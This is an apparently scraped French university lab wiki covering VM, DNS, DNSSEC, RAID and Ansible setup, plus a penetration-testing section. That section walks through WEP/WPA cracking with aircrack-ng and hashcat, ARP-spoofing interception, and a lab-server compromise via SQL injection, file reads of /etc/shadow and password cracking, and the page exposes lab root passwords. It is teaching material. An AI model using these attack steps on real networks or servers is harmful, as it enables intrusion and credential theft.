 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
La première étape consiste en la création d'un Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55169</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55169"/>
				<updated>2020-12-22T14:20:21Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
